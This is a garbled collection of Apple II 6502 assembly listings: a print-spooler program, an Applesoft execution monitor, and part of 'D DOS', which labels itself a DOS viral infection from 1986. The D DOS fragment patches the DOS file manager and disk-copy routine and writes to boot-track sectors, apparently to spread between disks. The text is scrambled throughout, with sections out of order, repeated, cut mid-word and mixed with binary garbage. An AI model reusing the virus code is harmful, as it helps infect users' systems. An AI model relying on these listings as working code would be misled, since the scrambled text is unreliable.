DOS ; stat ; If the users CH is different #; from our CH, the user must want ; us to tab ; GOODTAB PCH NOTAB NOTAB ; ; Set flag for tab-in-progress ; TABFLG ; ; Store spaces for a tab ; #SPACE PCH STOR1 STORIT CHKROOM Always ; 1 character ; WAIT PRSTATUSParallel STATMSK OKSTAT WAIT PRNT1 PRINTONE ; ; Check the user-requested ; printing position ; TAB CH CHKTAB WIDTH GOODTAB ; ; Correct if necessary ; WIDTH CH CHKTABAlways ; 0 STATE ECHO ; ; Check for interface command ; CHKCMD CMDFLG CMD1 RELAY AREG WAKEUP CHKROOM #$80 CMDFLG DOSEXIT ; ; Check for running out of room ; CHKROOM COUNT+1 #$2F TAB WAIT ; #; No more room, output------------------------------ "; Entrance to the spooler routine ; Output from DOS comes here "; ------------------------------- ; SPOOL CSWL+1 #$C1Slot 1 CHKCMD ; ; Replacement for DOS state 2 ; handler ; AREG #RETURN OUT1 #WIDTH    WIDTH  WIDTH TEMP WIDTH DOSEXIT ; #; Relay to get from CHKCMD to CMD0 ; RELAY CMD0 ; $; If not a command, reset flags and !; treat it like a printable char ; NOTCMD #0 CMDFLG WDTHFLG STATE ; "; - and N commands ; CMD2 #'I' ENDCMD #'N' ENDCMD ; ; Check for a numeral ;  #$B0 NOTCMD #$0A ENDCMD ; ; Use numerals to calculate ; printer line length ; WDTFLG ADD WIDTH  WDTHFLG EXIT ADD TEMP if "; command is a control char other ; than LF,FF, ; #SPACE CMD1 #LFEED WT1 #RETURN+1 CMD1 WT1 WAKEUP  EXIT ; %; Command K shuts off LF after ; CMD1 AREG #'K' CMD2 LFFLG ENDCMD ; ; Ignore I COUNT+1 COUNT PCH DOSWRM ; !; Routine for interface commands ; EXIT DOSEXIT ENDCMD #0 CMDFLG WNDWTH EXIT ; ; Shift CMDFLG to indicate ; not first character ; CMD0 CMDFLG AREG ; "; Change interface wakeup char $3CF ; ; !; ------------------------------ !; This is the physical beginning ; of the spooler program !; ------------------------------ ; ; !BEGIN $6112 should ORG here RESET /BUFSTART ZSTORE+1 ZSTORE+3 #0 ZSTORE ZSTORE+2 $3CF ; ------------------------- ; ; ZSTORE $3BE COUNT $3C2 XSV $3C4 YSV $3C5 TEMP $3C6 PCH $3C7 WIDTH $3C8 LFFLG $3C9 WAKEUP $3CA STATMSK $3CB OKSTAT $3CC CMDFLG $3CD WDTHFLG $3CE TABFLG#$80 STATMSK #0 OKSTAT #$89 WAKEUP ; ; Initialise printer interface "; Necessary for serial interfaces ; #RETURN PRINITSlot 1 SETVID ; ; ; ------------------------- ; These flags and constants ; are on page 3, at $3BE to ;N A1L+1 #END+1 A2L /END+1 A2L+1 COUNT A4L COUNT+1 A4L+1 #0 MOVE ; !; Initialise flags and constants ; #15 #0 LOOP ZSTORE,Y  LOOP /BUFSTART ZSTORE+1 ZSTORE+3 #80 WIDTH #$80 LFFLAG uffer ;  COUNT #RESETBGN RSTVEC COUNT+1 /RESETBGN RSTVEC+1 #$A5 RSTVEC+2 ; ; Reset HIMEM: ;  COUNT #1 LINNUM COUNT+1 #0 LINNUM+1 RSHM ; #; Move the working part of SPOOLER ; #BEGIN A1L /BEGIBEGN PRNT1+2 PRNT2+2 PRNT3+2 ; ; Modify all calls to the ; spooling subroutine ;  COUNT #STORBEGN STOR1+1 STOR2+1 STOR3+1 STOR4+1 COUNT+1 /STORBEGN STOR1+2 STOR2+2 STOR3+2 STOR4+2 ; ; Make reset clear bhe physical beginning ; of the spooler program !; ------------------------------ ; ; !BEGIN $6112 should ORG here RESET /BUFSTART ZSTORE+1 ZSTORE+3 #0 ZSTORE ZSTORE+2 COUNT+1 COUNT PCH DOSWRM ; !; Routine for interfNT $3C2 XSV $3C4 YSV $3C5 TEMP $3C6 PCH $3C7 WIDTH $3C8 LFFLG $3C9 WAKEUP $3CA STATMSK $3CB OKSTAT $3CC CMDFLG $3CD WDTHFLG $3CE TABFLG $3CF ; ; !; ------------------------------ !; This is talise printer interface "; Necessary for serial interfaces ; #RETURN PRINITSlot 1 SETVID ; ; ; ------------------------- ; These flags and constants ; are on page 3, at $3BE to ; $3CF ; ------------------------- ; ; ZSTORE $3BE COU4L COUNT+1 A4L+1 #0 MOVE ; !; Initialise flags and constants ; #15 #0 LOOP ZSTORE,Y  LOOP /BUFSTART ZSTORE+1 ZSTORE+3 #80 WIDTH #$80 LFFLG #$80 STATMSK #0 OKSTAT #$89 WAKEUP ; ; Initi #$00 RSTVEC+1 #$A5 RSTVEC+2 ; ; Reset HIMEM: ;  COUNT #1 LINNUM COUNT+1 #0 LINNUM+1 RSHM ; #; Move the working part of SPOOLER ; #BEGIN A1L /BEGIN A1L+1 #END+1 A2L /END+1 A2L+1 COUNT A ; Modify all calls to the ; spooling subroutine ;  COUNT #$27 STOR1+1 STOR2+1 STOR3+1 STOR4+1 COUNT+1 #$01 STOR1+2 STOR2+2 STOR3+2 STOR4+2 ; ; Make reset clear buffer ;  COUNT #$00 RSTVEC COUNT+1 COUNT #$92 PTCHPNT3+1 COUNT+1 #$00 PTCHPNT3+2 #$EA NOP PTCHPNT3+3 ; ; Modify all calls to the ; print subroutine ;  COUNT #$DA PRNT1+1 PRNT2+1 PRNT3+1 COUNT+1 #$01 PRNT1+2 PRNT2+2 PRNT3+2 ;4 COUNT+1 #$01 PTCHPNT2+5 ; ; Patch the DOS state 2 output ; handler so we can caputure ; output bound for the printer ; (state 2 handles output which !; is not being written to a file ; and is not a DOS command) ; #$4C JMP PTCHPNT3 01 PTCHPNT1+2 ; #; Patch the BASIC character fetch ; routine so that we can print ; while BASIC is running ; #$20 PTCHPNT2 #$F0 BEQ PTCHPNT2+1 #$F3 PTCHPNT2+2 #$4C JMP PTCHPNT2+3  COUNT #$B1 PTCHPNT2+at which the ; relocated program will run. ;  HIMEM+1 #3 COUNT+1 HIMEM COUNT ; #; Patch the DOS keyboard intercept ; routine so we can print while ; waiting for keybouaard input ;  COUNT #$90 PTCHPNT1+1 COUNT+1 #$OOLER run ; at any location, the loader ; must calculate some addresses ; and modify DOS accordingly. ; ; ----------------------------- ; ; Get HIMEM and modify program ; to run $300 below it - use !; COUNT as temporary storage for ; the address 8 ; BCKSPC $88 LFEED $8A RETURN $8D CTRLQ $91 SPACE $A0 ; ;  $6000  $800 ; ; ---------------------------- ; This is a loader program ; which modifies DOS and ; initialises the spooler ; program. ; ; In order to let SPB3 REGRST $9FBA STATE $AA52 AREG $AA5C KBD $C000 RAMOFF $C082 WRTRAM $C081 RDRAM $C084 PRDATA $C091 PRINIT $C100 PRSTATUS $C1C1 BUFSTART $D000 RSHM $F28C MOVE $FE2C SETVID $FE93 IORTS $FF5$00 LAG LEAD+2 CH $24 CSWL $36 A1L $3C A2L $3E A4L $42 LINNUM $50 HIMEM $73 PTCHPNT2 $BB STACK $100 RSTVEC $3F2 DOSWRM $9DBF PTCHPNT1 $9EAB PTCHPNT3 $9F23 ECHO $9FA4 DOSEXIT $9F{#; ************************* ; * * ; * SPOOLER * ; *  * ; * A SOFTWARE PRINT * ; * BUFFER SYSTEM * ; * * ; ************************* ; ; LEAD              SParallel STATMSK OKSTAT HOLD PRNT2 PRINTONE  PRINT ; ; ----------------------------- "; Entrance to other print routine ; ; BASIC checks here during each ; character-fetch rountine ; ----------------------------- ; PRINT2 T COUNT+1 COUNT HOLD ; #; Keyboard is calling or buffer is #; empty -return to input by way of ; register restore routine ; INPUT REGRST ; "; Check keyboard & printer status ; Go where first needed ; HOLD KBD INPUT PRSTATUH  PCH CH WIDTH ENDSTORE ; #; -------------------------------- #; Entrance to one printing routine ; !; DOS checks here before calling ; for a character to be input #; -------------------------------- ; ; Check for empty buffer ; PRINIncrement counter ; COUNT WT2 COUNT+1 WT2 TABFLG ENDSTORE ; ; Increment column count for ; printable chars and set C for ; end of line ; #BCKSPC STR1 PCH ENDSTORE  PCH CH STR1 #SPACE ENDSTORE PCRAMOFF ; ; Increment lead pointer ; LEAD RSZ1 LEAD+1 RSZ1 ; ; Wraparound to start of buffer ; /BUFSTART LEAD+1 ; ; Restore zero page ; RSZ1 #3 LOOP2 LEAD,X ZSTORE,X ZSTORE,X LEAD,X  LOOP2  ; ; DOSEXIT ; ; Subroutine to store the char ; in the buffer ; ; Put pointers on page zero ; STORIT #3 LOOP1 LEAD,X ZSTORE,X ZSTORE,X LEAD,X  LOOP1  ; ; Store the character ; WRTRAM WRTRAM #0 (LEAD),Y ; ; Replacement for DOS state 2 ; handler -set to state 0 if ; the program has sent a CR ; CHKCR #RETURN DONE #0 STATE ; ; Reset Ch and send LF after CR ; FEED #0 CH PCH LFFLG DONE #LFEED STOR4 STORIT DONE ag, then get ; the character and store it ; NOTAB TABFLG AREG STOR2 STORIT CHKCR ; ; If we have printed up to the ; width of the page, send CR ; and LF, but do not set DOS ; state 0 ; #RETURN STOR3 STORIT FEEDAlways e user must want ; us to tab ; GOODTAB PCH NOTAB NOTAB ; ; Set flag for tab-in-progress ; TABFLG ; ; Store spaces for a tab ; #SPACE PCH STOR1 STORIT CHKROOM Always ; ; If we don't need a tab, just ; clear the tab flTMSK OKSTAT WAIT PRNT1 PRINTONE ; ; Check the user-requested ; printing position ; TAB CH CHKTAB WIDTH GOODTAB ; ; Correct if necessary ; WIDTH CH CHKTABAlways ; ; If the users CH is different #; from our CH, thd ; CHKCMD CMDFLG CMD1 RELAY AREG WAKEUP CHKROOM #$80 CMDFLG DOSEXIT ; ; Check for running out of room ; CHKROOM COUNT+1 #$2F TAB WAIT ; #; No more room, output 1 character ; WAIT PRSTATUSParallel STAoutine ; Output from DOS comes here "; ------------------------------- ; SPOOL CSWL+1 #$C1Slot 1 CHKCMD ; ; Replacement for DOS state 2 ; handler ; AREG #RETURN OUT1 #0 STATE OUT1 ECHO ; ; Check for interface comman DOSEXIT ; #; Relay to get from CHKCMD to CMD0 ; RELAY CMD0 ; $; If not a command, reset flags and !; treat it like a printable char ; NOTCMD #0 CMDFLG WDTHFLG STATE ; "; ------------------------------- "; Entrance to the spooler rMD ; ; Check for a numeral ;  #$B0 NOTCMD #$0A NOTCMD ; ; Use numerals to calculate ; printer line length ; WDTHFLG ADD WIDTH  WDTHFLG EXIT ADD TEMP WIDTH    WIDTH  WIDTH TEMP WIDTH #SPACE CMD1 #LFEED WT1 #RETURN+1 CMD1 WT1 WAKEUP  EXIT ; %; Command K shuts off LF after ; CMD1 AREG #"K" CMD2 LFFLG ENDCMD ; ; Ignore I and N commands ; CMD2 #"I" ENDCMD #"N" ENDCace commands ; EXIT DOSEXIT ENDCMD #0 CMDFLG WDTHFLG EXIT ; ; Shift CMDFLG to indicate ; not first character ; CMD0 CMDFLG AREG ; "; Change interface wakeup char if "; command is a control char other ; than LF,FF, ;!!! ! ! ! ! !!!!!!!!!""" " " " " ,H,Ѕh`n 9bn\ 9b 9b ɍR$, 9bLHhІHh,0Ɉ ʎ$ɠ $` L00 bPH7 0 bh:808` LЍLLN\ɠɊɎۭ\N8鰐- ),0 8n0 mmL0R7\ɍRL,p0׭\L/0 b$$ `]8tsii 󅽩LiiL#i$i%&iڍabbiabbi'bbb4bibbb5biiI8PQ c?BC ,ЍP    ,H,Ѕh`n 9bn\ 9b 9b ɍR$, 9bLHhІHh,0Ɉ ʎ$ɠ $` L0-M bPH7 -M bh:808` LЍLLN\ɠɊɎۭ\N8鰐- ),0 8n0 mmL0R7\ɍRL,p0׭\L/-M b$$ ]8tsii 󅽩LiiL#i$i%&iڍabbiabbi'bbb4bibbb5biiI8PQ c?BC ,ЍP   rinters need more instruction ;  000000000000  000000000000  000000000000  000000000000  000000000000 END D #3 LOOP4 LEAD,X ZSTORE,X ZSTORE,X LEAD,X  LOOP4 ; ; Decrement count ; COUNT COUNT #$FF D1 COUNT+1 ; ; Send the character ; D1 PRDATAParallel YSV XSV  ; ; Reserve a little space -some !; p LOOP3 ; "; Get a character from the buffer ; RDRAM #0 (LAG),Y  RAMOFF ; ; Increment lag pointer ; LAG RSZ2 LAG+1 RSZ2 ; #; Wraparound to $D000 if necessary ; /BUFSTART LAG+1 ; ; Restore zero page ; RSZ2 PRINTONE ; ; Back to BASIC ; FETCH #$3A FETCH1  #$30  #$D0 FETCH1 ; "; Subroutine to print a character ; ; Put pointers on page zero ; PRINTONEYSV XSV #3 LOOP3 LEAD,X ZSTORE,X ZSTORE,X LEAD,X ; ; Do not print while spooling ; CSWL+1 #$C1Slot 1 FETCH ; ; Check for empty buffer ; COUNT+1 COUNT FETCH ; ; Check printer status ; PRSTATUSParallel STATMSK OKSTAT FETCH ; ; Send a char to the printer ; PRNT3DRESS TABLE ; /; GET NEXT TABLE ENTRY AND PUT IN TEMP SPACE #NXTENTRYWRITEBLENABLE TABLE RAM #3 LOADTEMP(TABLE),YGET ENTRY TEMP,YAND PUT IN TEMP  LOADTEMP RAMREADENABLE APPLESOFT ; *; START FORMATTING BY PRINTING LINE NO. ; ,Y UPCNTINC HIGH IF NEEDED RAMREADENABLE APPLESOFT  ; ; ; PLOT EXECUTION FREQUENCY ; &; APPLESOFT NOTRACE COMMAND INVOKED PLOT #25PRINT TITLES BLANKS #TITLE1 /TITLE1 STROUT #TITLE2 /TITLE2 STROUT TABLELDADDOES CURRENT LINE NO. CURLIN+1MATCH TABLE ENTRY? CMPNEXTNO, TRY NEXT ENTRY  (TABLE),Y CURLIN CMPNEXTNO, TRY NEXT ENTRY ; ; INCREASE LINES COUNT BY ONE ; UPCNT FOUND MATCH (TABLE),YINCR TRACE COUNT    (TABLE)BACK TO BASICS ; ; &; CAPTURE TRACE INFO & ADD TO TABLE ; $; APPLESOFT TRACE ROUTINE INVOKED '; SEARCH TABLE FOR THIS LINE'S ENTRY ; TRACE TABLELDADDRESS TABLE CMPENTRY (CMPNEXT TABLENXTGET NEXT TABLE ENTRY CMPENTRY#3 "(TABLE),YNEXT LINE POINTER LOW LINNUMSTORE LINE POINTER $TABLENXTBUMP TABLE TO NEXT ENTRY NXTLINEALWAYS TAKEN ; ; MARK TABLE END ; #SETHI RAMREADENABLE APPLESOFT TABLE+1 /SETMAX TABLEND+1STORE END OF TABLE POINTER TABLE TABLEND  ((LINNUM),YGET NEXT LINE POINTER HIGH SETHIIF ZERO, ALL DONE SAVE FOR LATER #3 &(LINNUM),YPUT LINE NUMBER IN TABLE (TABLE),Y  (LINNUM),Y (TABLE),Y  #0 !(TABLE),YCLEAR LINE USE COUNT  (TABLE),Y '(LINNUM),YGET AND INVOKED ; #TABLELDSTART TABLE IN BANK1 RAM #$E0LOAD TABLE HIGH MAX SETMAXAND GO SET IT %PGMPTRGET FIRST LINE OF BASIC PGM PGMPTR+1 LINNUM ; (; BUILD TABLE ENTRY FOR EASH A/S LINE ; NXTLINE LINNUM+1 #1CHECK FOR END OF PGMALLED'  8D8D ) 'USE TRACE TO START - NOTRACE TO PLOT'  8D00 ; ; ; BUILD TRACE TABLE ; 8; BRANCH HERE FROM APPLESOFT TRACE & NOTRACE ROUTINES SETRACE TRFLAGSET TRACE FLAG (PLOTIF NOTRACE, EXECUTE PLOT ROUTINE ; $; APPLESOFT TRACE COMMDOSCOLDBUILD DOS BUFFERS BELOW PGM & RET'N ; ; APPLESOFT MODIFICATIONS ; 1MOD1 TRACEPATCH TO APPLESOFT TRACE ROUTINE *+12 8MOD2 SETRACEPATCH TO A/S TRACE & NOTRACE ROUTINES #$FF ; ; INITIALISATION MESSAGES ; MESSAGE2 ' INSTGNAL THAT AEM IS INSTALLED ; #MESSAGE1 /MESSAGE1 STROUT #MESSAGE2 /MESSAGE2 STROUT ; ; CREATE NEW DOS BUFFERS ;  #SETRACE #38SUBTRACT FOR FILENAME +DOSBUFAND STORE IN FIRST DOS BUFFER PTR /SETRACE #0 DOSBUF+1 .; ; PATCH APPLESOFT IN RAMCARD ; WT #4 PATCH MOD1,XGET MOD1 !FPTRACE,XAND PUT IN APPLESOFT MOD2,XLIKEWISE FOR MOD2 TRACECMD,X  PATCHDO AGAIN ; ; USE APPLESOFT IN RAMCARD ; #RAMREADWRITE PROTECT & READABLE ; !; SILINELO $08LINE NO. LO BYTE LINEHI $09LINE NO. HI BYTE ; ; ; AEM INSTALLATION ; ; MOVE APPLESOFT TO RAMCARD ; AEM RAMWRITE RAMWRITE #0 A1 A4  #$D0 A1+1 A4+1 #$FF A2 A2+1 MOVEMOVE ROM TO RAM ; 10 $EA55 MOVAF $EB63 FCOMP $EBB2 LINPRT $ED24 TRACECMD $F270 BLANKS $F94A CR $FD8E COUT $FDED MOVE $FE2C ; ; TRACE TABLE ENTRY FORMAT ; "CNTHI $06TRACE COUNT HI BYTE "CNTLO $07TRACE COUNT LO BYTE F $9D00 RAMREAD $C080 RAMWRITE $C081 TABLEWRT $C08B TABLELOC $D000 ; ; MONITOR/APPLESOFT ROUTINES ; DOSCOLD $3D3 FPTRACE $D80E STROUT $DB3A SPACE $DB57 GIVAYF $E2F2 GETADR $E752 FADDT $E7C1 TEN $EA50 DIV ;  $9A9E  $800 ; ; #; ZERO PAGE ADDRESSES & CONSTANTS ; TEMP $06 A1 $3C A2 $3E A4 $42 LINNUM $50 PGMPTR $67 CURLIN $75 TABLE $85 TABLEND $EB COUNT $ED TRFLAG $F2 ; FBUFFR $100 DOSBU;**************************** ;* * ;* AEM * ;* * ;* APPLESOFT EXECUTION * ;* MONITOR * ;* * ;**************************** ;e NOP RWTSDo the RWTS  (MCOUNT 0004Memory count (lsb & msb) ,BOOTCNT 00Stops DDOS interrupting bootup "COUNT 10Used as a temp count ; ; ; ; ; D DOS Entry point ; ----------------- ; ; DDOS Push all registers    447 Sc, A holds R/W command ; --------------------------- ;  444C2 byte NOP #GETSC IBTRKStore track in IOB IBSCStore sctr in IOB IBCMDStore cmmnd in IOB /IOB ** Drive & buffer  5C15103 byte NOP #IOB ** set externally  544C2 byt7ED*D DOS is stored on #$02Tk 0, Sc 0A $B7F4 $B793 $B7E7 $B6FE  #$09 $B7F1 #$0A $B7E1  #$01 $B6FF $B7ED $B793  ; ; ;  $9B00  $800 ; ; ; Subroutine to read/write a ; sector. X holds Tk, Y holds ;mmediately ; ; ;  $B75D  $800 ; ; ; Replacement code to patch ; into the DOS copying routine ; ---------------------------- ; DOSCOPY #$1BSet the count to $B7E1$1B so as to copy #$02sectors 0A & 0B of $B7ECTrack 0 #$04 $B"SUBCODE $B5BCCurrent FM sub-op ; ; ; Remember $9D00:D9 99 for the ; file buffer modification ;  $AB06  $800 ; ; ; Replacement code to patch ; into the file manager ; ------------------------- ; FILMGR SSAV1 DDOSJump to DDOS ib in buffer ;DCOUNT+1 is msb $SSAV1 $B39BAddress used by DOS !FMDRVN $B5C0Drive used by FM FMSLTN $B5C1Slot used by FM RWTS $B7B5RWTS subroutine 2BUFCOPY BUFFER+$5DTk0,Sc1 modification address %RSTFMW $AE6ARestores FM workarea T * ; * & * ; * THE HAWK * ; * * ; ************************* ; ; ; DOS & MONITOR EQUATES ; --------------------- ; %BUFFER $9A00Buffer used by D DOS -DCOUNT BUFFER+$6Disk count ls; ************************* ; * * ; * D DOS * ; * * ; * A DOS VIRAL INFECTION * ; * * ; * (C) 1986 * ; * * ; * THE STUDEN""""""""     TABLEXIT ; ; HISTOGRAM TITLES ; MESSAGE1 8D (TITLE1 'APPLESOFT EXECUTION MONITOR'  00 TITLE2 8D8D ( 'LINE 1 10 100' ' ' ' ' 1000 10000 COUNT'  8D00 ; ;  TABLEWRT  ; !; GET NEXT TRACE TABLE ENTRY AND ; CHECK FOR END OF TABLE TABLENXTTABLE  #4 TABLE $C000 ABORT TABLE+1 #0 TABLE+1 TABLEND+1 TABLEXIT TABLE TABLEND TABLEXIT ABORT  $C010 RAMREAD LINPRT CR TABLENXT NXTENTRY ; ; ----------------------- ; TRACE TABLE SUBROUTINES ; ----------------------- ; ; LOAD ADDR OF TRACE TABLE AND ; ACCESS RAM BANK1 ; TABLELD #TABLELOC TABLE /TABLELOC TABLE+1 WRITEBL TABLEWRT#10 NOMARK #28 NOMARK #46 NOMARK #64 NOMARK #$A0 NOMARK MARK #"*" NOMARK #64 OUT CHKMAX PRTCNT CHKMAX COUNT OUT #">" OUT COUT  DISP ; ; PRINT COUNT PRTCNT SPACE CNTHI CNTLOCOUNT #18 COUNT FACTOR FEND MOVAF  FADDT GETADR LINNUM LINNUM  LINNUM COUNT  BUILDEXTCOUNT ; ; DISPLAY HISTOGRAM LINE AND ; SHOW REFERENCE GRID #1 DISP COUNT MARK MARK #"." #1 NOMARK #10 COUNT CNTLOLOAD COUNT CNTHI CHKHI #11IF 10 OR LESS 'BUILDEXTUSE DIRECTLY AS HISTO COUNT 'CHKHI #$80SEE IF OCCURENCE >32768 FACIT #65 BUILDEXT FACIT GIVAYF FACTOR DIV10 #TEN /TEN FCOMP FEND  LINEHIGET LINE NO. LINELO LINPRTWRITE LINE NO. #$FF #8 SKIP SKIP OVER LINE NO.  FBUFFR,Y SKIP (BLANKSFILL TO POSITION 7 WITH SPACES ; #; BUILD HISTOGRAM BY TRANSLATING ,; OCCURENCE COUNT TO NO. OF '*' FOR CHART ;